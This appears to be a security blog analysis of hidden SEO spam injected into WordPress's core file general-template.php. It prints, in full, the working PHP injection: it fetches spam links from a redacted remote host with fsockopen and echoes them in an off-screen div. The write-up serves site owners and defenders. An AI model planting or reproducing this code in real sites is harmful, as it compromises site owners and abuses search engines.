Many times when a website has been injected with SEO spam the owner is unaware of it until they begin to receive warnings from search engines or blacklists. This is by design as the attacker arranges the display of the website so that the links are not going to be visible by average human traffic.

Invisible SEO spam No SEO spam visible to human traffic, but it exists out of sight.

One way to do this is to use design elements to “push” the injected SEO spam links off the visible portion of the website. This way humans won’t see the spam links, but bots that just read the HTML of the website will see the SEO spam links, and attribute them to your website.

How the injection works

This injection uses PHP code and was found injected in the core WordPress file wp-includes/general-template.php.

It works by using fsockopen to open a connection to the $host variable, which contains the URL to the SEO spam infrastructure. This URL will provide the actual links as a response to our GET request to it and store it in the $response variable, then closes the connection.

$host = '[redacted]';
    $file = 'example.txt';
    
    $response = '';
    $fs = fsockopen($host, 80, $errno, $errstr, 10);
    
    if ($fs) {
   	 $out = "GET /{$file} HTTP/1.1\r\n";
   	 $out .= "Host: {$host}\r\n";
   	 $out .= "Connection: Close\r\n\r\n";
   	 fwrite($fs, $out);
   	 stream_set_timeout($fs, 10);
   	 while(!feof($fs) && ($debug = fgets($fs)) != "\r\n" );
   	 
   	 while (!feof($fs)) {
   		 $response .= fgets($fs, 4096);
   	 }
   	 fclose($fs);
    }

Now that the injection has the SEO spam links saved to $response, it can now include them with the div styling position: absolute and left: -110055px that are used to “push” the spam links out of visible sight on the web page. The code uses other various PHP functions like count, shuffle, and array_slice to sort through the SEO spam links saved to the $response, then selects 10 of the SEO spam links and injects it into the web page by a simple echo.

As this infected file wp-includes/general-template.php is loaded every time a WordPress page is - it is easy for the attacker to ensure that a steady flow of SEO spam links are available for injection.

   	 echo "<div style='position: absolute; bottom: 0px; left: -11055px;'>";
    if ($response) {
   	 $links = explode("\n", $response);
   	 
   	 if (count($links)) {
   		 shuffle($links);
   		 $links = array_slice($links, 0, 10);
   		 foreach ($links as $link) {
   			 echo "\r$link" ;
   		 }
   	 }
    }
   	 echo "</div>";

<?php   
$host = '[redacted]';
	$file = 'example.txt';
	
	$response = '';
	$fs = fsockopen($host, 80, $errno, $errstr, 10);
	
	if ($fs) {
		$out = "GET /{$file} HTTP/1.1\r\n";
		$out .= "Host: {$host}\r\n";
		$out .= "Connection: Close\r\n\r\n";
		fwrite($fs, $out);
		stream_set_timeout($fs, 10);
		while(!feof($fs) && ($debug = fgets($fs)) != "\r\n" );
		
		while (!feof($fs)) {
			$response .= fgets($fs, 4096);
		}
		fclose($fs);
	}
		echo "<div style='position: absolute; bottom: 0px; left: -11055px;'>";
	if ($response) {
		$links = explode("\n", $response);
		
		if (count($links)) {
			shuffle($links);
			$links = array_slice($links, 0, 10);
			foreach ($links as $link) {
				echo "\r$link" ;
			}
		}
	}
		echo "</div>";
?>